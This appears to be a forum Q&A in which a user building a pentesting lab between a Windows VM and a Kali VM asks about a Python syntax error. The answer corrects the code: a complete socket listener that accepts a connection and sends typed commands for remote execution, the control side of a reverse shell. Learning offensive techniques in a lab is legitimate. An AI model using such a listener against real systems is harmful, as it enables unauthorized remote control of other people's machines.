How to fix a "invalid syntax" error in my Python code?

1.5k views Asked by At

I am coding for pentesting purposes. I am trying to establish a connection between my Windows Virtual Machine and my Kali Linux virtual machine. I have coded a listener for this purpose but it is not working.

My Python code:

enter image description here

The result from running the listener on Kali Linux:

enter image description here

1

There are 1 answers

0
jonroethke On

@Klaus D. is right, your __init__ needed two underscores on each side, not 1. Also a good idea to make sure the methods under your class are properly indented.

#!/usr/bin/python

import socket

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("Waiting for connections....")
        self.connection, address = listener.accept()
        print("Got a connection from " + str(address))

    def execute_remotely(self, command):
        self.connection.send(command)
        return self.connection.recv(1024)

    def run(self):
        while True:
            command = raw_input(">>")
            result = self.execute_remotely(command)
            print(result)

myListener = Listener("10.0.2.15", 8080)
myListener.run()